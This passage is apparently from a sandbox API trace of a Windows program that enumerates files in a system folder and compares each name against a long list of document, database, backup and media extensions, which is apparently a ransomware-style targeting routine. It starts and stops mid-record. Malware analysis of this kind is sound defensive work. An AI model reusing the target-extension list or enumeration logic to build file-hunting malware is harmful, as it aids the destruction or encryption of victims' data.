(lpString1=".cfm", lpString2=".inc") returned -1 [0082.571] lstrlenW (lpString=".cfml") returned 5 [0082.571] lstrcmpiW (lpString1=".cfml", lpString2="s.inc") returned -1 [0082.571] lstrlenW (lpString=".cfu") returned 4 [0082.571] lstrcmpiW (lpString1=".cfu", lpString2=".inc") returned -1 [0082.571] lstrlenW (lpString=".chm") returned 4 [0082.571] lstrcmpiW (lpString1=".chm", lpString2=".inc") returned -1 [0082.571] lstrlenW (lpString=".cin") returned 4 [0082.571] lstrcmpiW (lpString1=".cin", lpString2=".inc") returned -1 [0082.571] lstrlenW (lpString=".class") returned 6 [0082.571] lstrcmpiW (lpString1=".class", lpString2="as.inc") returned -1 [0082.571] lstrlenW (lpString=".clx") returned 4 [0082.571] lstrcmpiW (lpString1=".clx", lpString2=".inc") returned -1 [0082.572] lstrlenW (lpString=".config") returned 7 [0082.572] lstrcmpiW (lpString1=".config", lpString2="vas.inc") returned -1 [0082.572] lstrlenW (lpString=".cpp") returned 4 [0082.572] lstrcmpiW (lpString1=".cpp", lpString2=".inc") returned -1 [0082.572] lstrlenW (lpString=".cr2") returned 4 [0082.572] lstrcmpiW (lpString1=".cr2", lpString2=".inc") returned -1 [0082.572] lstrlenW (lpString=".crt") returned 4 [0082.572] lstrcmpiW (lpString1=".crt", lpString2=".inc") returned -1 [0082.572] lstrlenW (lpString=".crw") returned 4 [0082.572] lstrcmpiW (lpString1=".crw", lpString2=".inc") returned -1 [0082.572] lstrlenW (lpString=".cs") returned 3 [0082.572] lstrcmpiW (lpString1=".cs", lpString2="inc") returned -1 [0082.572] lstrlenW (lpString=".css") returned 4 [0082.572] lstrcmpiW (lpString1=".css", lpString2=".inc") returned -1 [0082.572] lstrlenW (lpString=".csv") returned 4 [0082.572] lstrcmpiW (lpString1=".csv", lpString2=".inc") returned -1 [0082.573] lstrlenW (lpString=".cub") returned 4 [0082.573] lstrcmpiW (lpString1=".cub", lpString2=".inc") returned -1 [0082.573] lstrlenW (lpString=".dae") returned 4 [0082.573] lstrcmpiW (lpString1=".dae", lpString2=".inc") returned -1 [0082.573] lstrlenW (lpString=".dat") returned 4 [0082.573] lstrcmpiW (lpString1=".dat", lpString2=".inc") returned -1 [0082.573] lstrlenW (lpString=".db") returned 3 [0082.573] lstrcmpiW (lpString1=".db", lpString2="inc") returned -1 [0082.573] lstrlenW (lpString=".dbf") returned 4 [0082.573] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0082.573] lstrlenW (lpString=".dbx") returned 4 [0082.573] lstrcmpiW (lpString1=".dbx", lpString2=".inc") returned -1 [0082.573] lstrlenW (lpString=".dc3") returned 4 [0082.573] lstrcmpiW (lpString1=".dc3", lpString2=".inc") returned -1 [0082.573] lstrlenW (lpString=".dcm") returned 4 [0082.574] lstrcmpiW (lpString1=".dcm", lpString2=".inc") returned -1 [0082.574] lstrlenW (lpString=".dcr") returned 4 [0082.574] lstrcmpiW (lpString1=".dcr", lpString2=".inc") returned -1 [0082.574] lstrlenW (lpString=".der") returned 4 [0082.574] lstrcmpiW (lpString1=".der", lpString2=".inc") returned -1 [0082.574] lstrlenW (lpString=".dib") returned 4 [0082.574] lstrcmpiW (lpString1=".dib", lpString2=".inc") returned -1 [0082.574] lstrlenW (lpString=".dic") returned 4 [0082.574] lstrcmpiW (lpString1=".dic", lpString2=".inc") returned -1 [0082.574] lstrlenW (lpString=".dif") returned 4 [0082.574] lstrcmpiW (lpString1=".dif", lpString2=".inc") returned -1 [0082.574] lstrlenW (lpString=".divx") returned 5 [0082.574] lstrcmpiW (lpString1=".divx", lpString2="s.inc") returned -1 [0082.574] lstrlenW (lpString=".djvu") returned 5 [0082.574] lstrcmpiW (lpString1=".djvu", lpString2="s.inc") returned -1 [0082.574] lstrlenW (lpString=".dng") returned 4 [0082.574] lstrcmpiW (lpString1=".dng", lpString2=".inc") returned -1 [0082.574] lstrlenW (lpString=".doc") returned 4 [0082.575] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0082.575] lstrlenW (lpString=".docm") returned 5 [0082.575] lstrcmpiW (lpString1=".docm", lpString2="s.inc") returned -1 [0082.575] lstrlenW (lpString=".docx") returned 5 [0082.575] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0082.575] lstrlenW (lpString=".dot") returned 4 [0082.575] lstrcmpiW (lpString1=".dot", lpString2=".inc") returned -1 [0082.575] lstrlenW (lpString=".dotm") returned 5 [0082.575] lstrcmpiW (lpString1=".dotm", lpString2="s.inc") returned -1 [0082.575] lstrlenW (lpString=".dotx") returned 5 [0082.575] lstrcmpiW (lpString1=".dotx", lpString2="s.inc") returned -1 [0082.575] lstrlenW (lpString=".dpx") returned 4 [0082.575] lstrcmpiW (lpString1=".dpx", lpString2=".inc") returned -1 [0082.575] lstrlenW (lpString=".dqy") returned 4 [0082.575] lstrcmpiW (lpString1=".dqy", lpString2=".inc") returned -1 [0082.575] lstrlenW (lpString=".dsn") returned 4 [0082.575] lstrcmpiW (lpString1=".dsn", lpString2=".inc") returned -1 [0082.575] lstrlenW (lpString=".dt") returned 3 [0082.575] lstrcmpiW (lpString1=".dt", lpString2="inc") returned -1 [0082.576] lstrlenW (lpString=".dtd") returned 4 [0082.576] lstrcmpiW (lpString1=".dtd", lpString2=".inc") returned -1 [0082.576] lstrlenW (lpString=".dwg") returned 4 [0082.576] lstrcmpiW (lpString1=".dwg", lpString2=".inc") returned -1 [0082.576] lstrlenW (lpString=".dwt") returned 4 [0082.576] lstrcmpiW (lpString1=".dwt", lpString2=".inc") returned -1 [0082.576] lstrlenW (lpString=".dx") returned 3 [0082.576] lstrcmpiW (lpString1=".dx", lpString2="inc") returned -1 [0082.576] lstrlenW (lpString=".dxf") returned 4 [0082.576] lstrcmpiW (lpString1=".dxf", lpString2=".inc") returned -1 [0082.576] lstrlenW (lpString=".edml") returned 5 [0082.576] lstrcmpiW (lpString1=".edml", lpString2="s.inc") returned -1 [0082.576] lstrlenW (lpString=".efd") returned 4 [0082.576] lstrcmpiW (lpString1=".efd", lpString2=".inc") returned -1 [0082.576] lstrlenW (lpString=".elf") returned 4 [0082.576] lstrcmpiW (lpString1=".elf", lpString2=".inc") returned -1 [0082.576] lstrlenW (lpString=".emf") returned 4 [0082.576] lstrcmpiW (lpString1=".emf", lpString2=".inc") returned -1 [0082.576] lstrlenW (lpString=".emz") returned 4 [0082.576] lstrcmpiW (lpString1=".emz", lpString2=".inc") returned -1 [0082.576] lstrlenW (lpString=".epf") returned 4 [0082.577] lstrcmpiW (lpString1=".epf", lpString2=".inc") returned -1 [0082.577] lstrlenW (lpString=".eps") returned 4 [0082.577] lstrcmpiW (lpString1=".eps", lpString2=".inc") returned -1 [0082.577] lstrlenW (lpString=".epsf") returned 5 [0082.577] lstrcmpiW (lpString1=".epsf", lpString2="s.inc") returned -1 [0082.577] lstrlenW (lpString=".epsp") returned 5 [0082.577] lstrcmpiW (lpString1=".epsp", lpString2="s.inc") returned -1 [0082.577] lstrlenW (lpString=".erf") returned 4 [0082.577] lstrcmpiW (lpString1=".erf", lpString2=".inc") returned -1 [0082.577] lstrlenW (lpString=".exr") returned 4 [0082.577] lstrcmpiW (lpString1=".exr", lpString2=".inc") returned -1 [0082.577] lstrlenW (lpString=".f4v") returned 4 [0082.577] lstrcmpiW (lpString1=".f4v", lpString2=".inc") returned -1 [0082.577] lstrlenW (lpString=".fido") returned 5 [0082.577] lstrcmpiW (lpString1=".fido", lpString2="s.inc") returned -1 [0082.577] lstrlenW (lpString=".flm") returned 4 [0082.577] lstrcmpiW (lpString1=".flm", lpString2=".inc") returned -1 [0082.577] lstrlenW (lpString=".flv") returned 4 [0082.577] lstrcmpiW (lpString1=".flv", lpString2=".inc") returned -1 [0082.577] lstrlenW (lpString=".frm") returned 4 [0082.577] lstrcmpiW (lpString1=".frm", lpString2=".inc") returned -1 [0082.577] lstrlenW (lpString=".fxg") returned 4 [0082.578] lstrcmpiW (lpString1=".fxg", lpString2=".inc") returned -1 [0082.578] lstrlenW (lpString=".geo") returned 4 [0082.578] lstrcmpiW (lpString1=".geo", lpString2=".inc") returned -1 [0082.578] lstrlenW (lpString=".gif") returned 4 [0082.578] lstrcmpiW (lpString1=".gif", lpString2=".inc") returned -1 [0082.578] lstrlenW (lpString=".grs") returned 4 [0082.578] lstrcmpiW (lpString1=".grs", lpString2=".inc") returned -1 [0082.578] lstrlenW (lpString=".gz") returned 3 [0082.578] lstrcmpiW (lpString1=".gz", lpString2="inc") returned -1 [0082.578] lstrlenW (lpString=".h") returned 2 [0082.578] lstrcmpiW (lpString1=".h", lpString2="nc") returned -1 [0082.579] lstrlenW (lpString=".hdr") returned 4 [0082.579] lstrcmpiW (lpString1=".hdr", lpString2=".inc") returned -1 [0082.579] lstrlenW (lpString=".hpp") returned 4 [0082.579] lstrcmpiW (lpString1=".hpp", lpString2=".inc") returned -1 [0082.579] lstrlenW (lpString=".hta") returned 4 [0082.579] lstrcmpiW (lpString1=".hta", lpString2=".inc") returned -1 [0082.579] lstrlenW (lpString=".htc") returned 4 [0082.579] lstrcmpiW (lpString1=".htc", lpString2=".inc") returned -1 [0082.579] lstrlenW (lpString=".htm") returned 4 [0082.579] lstrcmpiW (lpString1=".htm", lpString2=".inc") returned -1 [0082.579] lstrlenW (lpString=".html") returned 5 [0082.579] lstrcmpiW (lpString1=".html", lpString2="s.inc") returned -1 [0082.579] lstrlenW (lpString=".icb") returned 4 [0082.579] lstrcmpiW (lpString1=".icb", lpString2=".inc") returned -1 [0082.579] lstrlenW (lpString=".ics") returned 4 [0082.579] lstrcmpiW (lpString1=".ics", lpString2=".inc") returned -1 [0082.579] lstrlenW (lpString=".iff") returned 4 [0082.579] lstrcmpiW (lpString1=".iff", lpString2=".inc") returned -1 [0082.579] lstrlenW (lpString=".inc") returned 4 [0082.579] lstrcmpiW (lpString1=".inc", lpString2=".inc") returned 0 [0082.579] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0082.579] lstrlenW (lpString="adovbs.inc") returned 10 [0082.580] lstrlenW (lpString=".1cd") returned 4 [0082.580] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0082.580] lstrlenW (lpString=".3ds") returned 4 [0082.580] lstrcmpiW (lpString1=".3ds", lpString2=".inc") returned -1 [0082.580] lstrlenW (lpString=".3fr") returned 4 [0082.580] lstrcmpiW (lpString1=".3fr", lpString2=".inc") returned -1 [0082.580] lstrlenW (lpString=".3g2") returned 4 [0082.580] lstrcmpiW (lpString1=".3g2", lpString2=".inc") returned -1 [0082.580] lstrlenW (lpString=".3gp") returned 4 [0082.580] lstrcmpiW (lpString1=".3gp", lpString2=".inc") returned -1 [0082.580] lstrlenW (lpString=".7z") returned 3 [0082.580] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0082.580] lstrlenW (lpString=".accda") returned 6 [0082.580] lstrcmpiW (lpString1=".accda", lpString2="bs.inc") returned -1 [0082.580] lstrlenW (lpString=".accdb") returned 6 [0082.580] lstrcmpiW (lpString1=".accdb", lpString2="bs.inc") returned -1 [0082.580] lstrlenW (lpString=".accdc") returned 6 [0082.580] lstrcmpiW (lpString1=".accdc", lpString2="bs.inc") returned -1 [0082.580] lstrlenW (lpString=".accde") returned 6 [0082.580] lstrcmpiW (lpString1=".accde", lpString2="bs.inc") returned -1 [0082.580] lstrlenW (lpString=".accdt") returned 6 [0082.581] lstrcmpiW (lpString1=".accdt", lpString2="bs.inc") returned -1 [0082.581] lstrlenW (lpString=".accdw") returned 6 [0082.581] lstrcmpiW (lpString1=".accdw", lpString2="bs.inc") returned -1 [0082.581] lstrlenW (lpString=".adb") returned 4 [0082.581] lstrcmpiW (lpString1=".adb", lpString2=".inc") returned -1 [0082.581] lstrlenW (lpString=".adp") returned 4 [0082.581] lstrcmpiW (lpString1=".adp", lpString2=".inc") returned -1 [0082.581] lstrlenW (lpString=".ai") returned 3 [0082.581] lstrcmpiW (lpString1=".ai", lpString2="inc") returned -1 [0082.581] lstrlenW (lpString=".ai3") returned 4 [0082.581] lstrcmpiW (lpString1=".ai3", lpString2=".inc") returned -1 [0082.581] lstrlenW (lpString=".ai4") returned 4 [0082.581] lstrcmpiW (lpString1=".ai4", lpString2=".inc") returned -1 [0082.581] lstrlenW (lpString=".ai5") returned 4 [0082.581] lstrcmpiW (lpString1=".ai5", lpString2=".inc") returned -1 [0082.581] lstrlenW (lpString=".ai6") returned 4 [0082.581] lstrcmpiW (lpString1=".ai6", lpString2=".inc") returned -1 [0082.581] lstrlenW (lpString=".ai7") returned 4 [0082.581] lstrcmpiW (lpString1=".ai7", lpString2=".inc") returned -1 [0082.581] lstrlenW (lpString=".ai8") returned 4 [0082.581] lstrcmpiW (lpString1=".ai8", lpString2=".inc") returned -1 [0082.581] lstrlenW (lpString=".anim") returned 5 [0082.581] lstrcmpiW (lpString1=".anim", lpString2="s.inc") returned -1 [0082.581] lstrlenW (lpString=".arw") returned 4 [0082.581] lstrcmpiW (lpString1=".arw", lpString2=".inc") returned -1 [0082.581] lstrlenW (lpString=".as") returned 3 [0082.582] lstrcmpiW (lpString1=".as", lpString2="inc") returned -1 [0082.582] lstrlenW (lpString=".asa") returned 4 [0082.582] lstrcmpiW (lpString1=".asa", lpString2=".inc") returned -1 [0082.582] lstrlenW (lpString=".asc") returned 4 [0082.582] lstrcmpiW (lpString1=".asc", lpString2=".inc") returned -1 [0082.582] lstrlenW (lpString=".ascx") returned 5 [0082.582] lstrcmpiW (lpString1=".ascx", lpString2="s.inc") returned -1 [0082.582] lstrlenW (lpString=".asm") returned 4 [0082.582] lstrcmpiW (lpString1=".asm", lpString2=".inc") returned -1 [0082.582] lstrlenW (lpString=".asmx") returned 5 [0082.582] lstrcmpiW (lpString1=".asmx", lpString2="s.inc") returned -1 [0082.582] lstrlenW (lpString=".asp") returned 4 [0082.582] lstrcmpiW (lpString1=".asp", lpString2=".inc") returned -1 [0082.582] lstrlenW (lpString=".aspx") returned 5 [0082.582] lstrcmpiW (lpString1=".aspx", lpString2="s.inc") returned -1 [0082.582] lstrlenW (lpString=".asr") returned 4 [0082.582] lstrcmpiW (lpString1=".asr", lpString2=".inc") returned -1 [0082.582] lstrlenW (lpString=".asx") returned 4 [0082.582] lstrcmpiW (lpString1=".asx", lpString2=".inc") returned -1 [0082.582] lstrlenW (lpString=".avi") returned 4 [0082.582] lstrcmpiW (lpString1=".avi", lpString2=".inc") returned -1 [0082.582] lstrlenW (lpString=".avs") returned 4 [0082.582] lstrcmpiW (lpString1=".avs", lpString2=".inc") returned -1 [0082.582] lstrlenW (lpString=".backup") returned 7 [0082.582] lstrcmpiW (lpString1=".backup", lpString2="vbs.inc") returned -1 [0082.582] lstrlenW (lpString=".bak") returned 4 [0082.583] lstrcmpiW (lpString1=".bak", lpString2=".inc") returned -1 [0082.583] lstrlenW (lpString=".bay") returned 4 [0082.583] lstrcmpiW (lpString1=".bay", lpString2=".inc") returned -1 [0082.583] lstrlenW (lpString=".bd") returned 3 [0082.583] lstrcmpiW (lpString1=".bd", lpString2="inc") returned -1 [0082.583] lstrlenW (lpString=".bin") returned 4 [0082.583] lstrcmpiW (lpString1=".bin", lpString2=".inc") returned -1 [0082.583] lstrlenW (lpString=".bmp") returned 4 [0082.583] lstrcmpiW (lpString1=".bmp", lpString2=".inc") returned -1 [0082.583] lstrlenW (lpString=".bz2") returned 4 [0082.583] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0082.583] lstrlenW (lpString=".c") returned 2 [0082.583] lstrcmpiW (lpString1=".c", lpString2="nc") returned -1 [0082.583] lstrlenW (lpString=".cdr") returned 4 [0082.583] lstrcmpiW (lpString1=".cdr", lpString2=".inc") returned -1 [0082.583] lstrlenW (lpString=".cer") returned 4 [0082.583] lstrcmpiW (lpString1=".cer", lpString2=".inc") returned -1 [0082.583] lstrlenW (lpString=".cf") returned 3 [0082.583] lstrcmpiW (lpString1=".cf", lpString2="inc") returned -1 [0082.583] lstrlenW (lpString=".cfc") returned 4 [0082.583] lstrcmpiW (lpString1=".cfc", lpString2=".inc") returned -1 [0082.583] lstrlenW (lpString=".cfm") returned 4 [0082.583] lstrcmpiW (lpString1=".cfm", lpString2=".inc") returned -1 [0082.583] lstrlenW (lpString=".cfml") returned 5 [0082.583] lstrcmpiW (lpString1=".cfml", lpString2="s.inc") returned -1 [0082.584] lstrlenW (lpString=".cfu") returned 4 [0082.584] lstrcmpiW (lpString1=".cfu", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".chm") returned 4 [0082.584] lstrcmpiW (lpString1=".chm", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".cin") returned 4 [0082.584] lstrcmpiW (lpString1=".cin", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".class") returned 6 [0082.584] lstrcmpiW (lpString1=".class", lpString2="bs.inc") returned -1 [0082.584] lstrlenW (lpString=".clx") returned 4 [0082.584] lstrcmpiW (lpString1=".clx", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".config") returned 7 [0082.584] lstrcmpiW (lpString1=".config", lpString2="vbs.inc") returned -1 [0082.584] lstrlenW (lpString=".cpp") returned 4 [0082.584] lstrcmpiW (lpString1=".cpp", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".cr2") returned 4 [0082.584] lstrcmpiW (lpString1=".cr2", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".crt") returned 4 [0082.584] lstrcmpiW (lpString1=".crt", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".crw") returned 4 [0082.584] lstrcmpiW (lpString1=".crw", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".cs") returned 3 [0082.584] lstrcmpiW (lpString1=".cs", lpString2="inc") returned -1 [0082.584] lstrlenW (lpString=".css") returned 4 [0082.584] lstrcmpiW (lpString1=".css", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".csv") returned 4 [0082.584] lstrcmpiW (lpString1=".csv", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".cub") returned 4 [0082.584] lstrcmpiW (lpString1=".cub", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".dae") returned 4 [0082.584] lstrcmpiW (lpString1=".dae", lpString2=".inc") returned -1 [0082.584] lstrlenW (lpString=".dat") returned 4 [0082.585] lstrcmpiW (lpString1=".dat", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".db") returned 3 [0082.585] lstrcmpiW (lpString1=".db", lpString2="inc") returned -1 [0082.585] lstrlenW (lpString=".dbf") returned 4 [0082.585] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".dbx") returned 4 [0082.585] lstrcmpiW (lpString1=".dbx", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".dc3") returned 4 [0082.585] lstrcmpiW (lpString1=".dc3", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".dcm") returned 4 [0082.585] lstrcmpiW (lpString1=".dcm", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".dcr") returned 4 [0082.585] lstrcmpiW (lpString1=".dcr", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".der") returned 4 [0082.585] lstrcmpiW (lpString1=".der", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".dib") returned 4 [0082.585] lstrcmpiW (lpString1=".dib", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".dic") returned 4 [0082.585] lstrcmpiW (lpString1=".dic", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".dif") returned 4 [0082.585] lstrcmpiW (lpString1=".dif", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".divx") returned 5 [0082.585] lstrcmpiW (lpString1=".divx", lpString2="s.inc") returned -1 [0082.585] lstrlenW (lpString=".djvu") returned 5 [0082.585] lstrcmpiW (lpString1=".djvu", lpString2="s.inc") returned -1 [0082.585] lstrlenW (lpString=".dng") returned 4 [0082.585] lstrcmpiW (lpString1=".dng", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".doc") returned 4 [0082.585] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0082.585] lstrlenW (lpString=".docm") returned 5 [0082.585] lstrcmpiW (lpString1=".docm", lpString2="s.inc") returned -1 [0082.585] lstrlenW (lpString=".docx") returned 5 [0082.585] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0082.586] lstrlenW (lpString=".dot") returned 4 [0082.586] lstrcmpiW (lpString1=".dot", lpString2=".inc") returned -1 [0082.586] lstrlenW (lpString=".dotm") returned 5 [0082.586] lstrcmpiW (lpString1=".dotm", lpString2="s.inc") returned -1 [0082.586] lstrlenW (lpString=".dotx") returned 5 [0082.586] lstrcmpiW (lpString1=".dotx", lpString2="s.inc") returned -1 [0082.586] lstrlenW (lpString=".dpx") returned 4 [0082.586] lstrcmpiW (lpString1=".dpx", lpString2=".inc") returned -1 [0082.586] lstrlenW (lpString=".dqy") returned 4 [0082.586] lstrcmpiW (lpString1=".dqy", lpString2=".inc") returned -1 [0082.586] lstrlenW (lpString=".dsn") returned 4 [0082.586] lstrcmpiW (lpString1=".dsn", lpString2=".inc") returned -1 [0082.586] lstrlenW (lpString=".dt") returned 3 [0082.586] lstrcmpiW (lpString1=".dt", lpString2="inc") returned -1 [0082.586] lstrlenW (lpString=".dtd") returned 4 [0082.586] lstrcmpiW (lpString1=".dtd", lpString2=".inc") returned -1 [0082.586] lstrlenW (lpString=".dwg") returned 4 [0082.586] lstrcmpiW (lpString1=".dwg", lpString2=".inc") returned -1 [0082.586] lstrlenW (lpString=".dwt") returned 4 [0082.586] lstrcmpiW (lpString1=".dwt", lpString2=".inc") returned -1 [0082.586] lstrlenW (lpString=".dx") returned 3 [0082.586] lstrcmpiW (lpString1=".dx", lpString2="inc") returned -1 [0082.586] lstrlenW (lpString=".dxf") returned 4 [0082.586] lstrcmpiW (lpString1=".dxf", lpString2=".inc") returned -1 [0082.586] lstrlenW (lpString=".edml") returned 5 [0082.586] lstrcmpiW (lpString1=".edml", lpString2="s.inc") returned -1 [0082.586] lstrlenW (lpString=".efd") returned 4 [0082.586] lstrcmpiW (lpString1=".efd", lpString2=".inc") returned -1 [0082.586] lstrlenW (lpString=".elf") returned 4 [0082.586] lstrcmpiW (lpString1=".elf", lpString2=".inc") returned -1 [0082.586] lstrlenW (lpString=".emf") returned 4 [0082.587] lstrcmpiW (lpString1=".emf", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".emz") returned 4 [0082.587] lstrcmpiW (lpString1=".emz", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".epf") returned 4 [0082.587] lstrcmpiW (lpString1=".epf", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".eps") returned 4 [0082.587] lstrcmpiW (lpString1=".eps", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".epsf") returned 5 [0082.587] lstrcmpiW (lpString1=".epsf", lpString2="s.inc") returned -1 [0082.587] lstrlenW (lpString=".epsp") returned 5 [0082.587] lstrcmpiW (lpString1=".epsp", lpString2="s.inc") returned -1 [0082.587] lstrlenW (lpString=".erf") returned 4 [0082.587] lstrcmpiW (lpString1=".erf", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".exr") returned 4 [0082.587] lstrcmpiW (lpString1=".exr", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".f4v") returned 4 [0082.587] lstrcmpiW (lpString1=".f4v", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".fido") returned 5 [0082.587] lstrcmpiW (lpString1=".fido", lpString2="s.inc") returned -1 [0082.587] lstrlenW (lpString=".flm") returned 4 [0082.587] lstrcmpiW (lpString1=".flm", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".flv") returned 4 [0082.587] lstrcmpiW (lpString1=".flv", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".frm") returned 4 [0082.587] lstrcmpiW (lpString1=".frm", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".fxg") returned 4 [0082.587] lstrcmpiW (lpString1=".fxg", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".geo") returned 4 [0082.587] lstrcmpiW (lpString1=".geo", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".gif") returned 4 [0082.587] lstrcmpiW (lpString1=".gif", lpString2=".inc") returned -1 [0082.587] lstrlenW (lpString=".grs") returned 4 [0082.588] lstrcmpiW (lpString1=".grs", lpString2=".inc") returned -1 [0082.588] lstrlenW (lpString=".gz") returned 3 [0082.588] lstrcmpiW (lpString1=".gz", lpString2="inc") returned -1 [0082.588] lstrlenW (lpString=".h") returned 2 [0082.588] lstrcmpiW (lpString1=".h", lpString2="nc") returned -1 [0082.588] lstrlenW (lpString=".hdr") returned 4 [0082.588] lstrcmpiW (lpString1=".hdr", lpString2=".inc") returned -1 [0082.588] lstrcmpiW (lpString1=".hpp", lpString2=".inc") returned -1 [0082.588] lstrcmpiW (lpString1=".hta", lpString2=".inc") returned -1 [0082.588] lstrcmpiW (lpString1=".htc", lpString2=".inc") returned -1 [0082.588] lstrcmpiW (lpString1=".htm", lpString2=".inc") returned -1 [0082.588] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0082.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3900088 [0082.694] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974370 [0082.694] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.694] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0082.694] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0082.694] FindClose (in: hFindFile=0x3974370 | out: hFindFile=0x3974370) returned 1 [0082.695] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3900088 | out: hHeap=0x5b0000) returned 1 [0082.695] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, 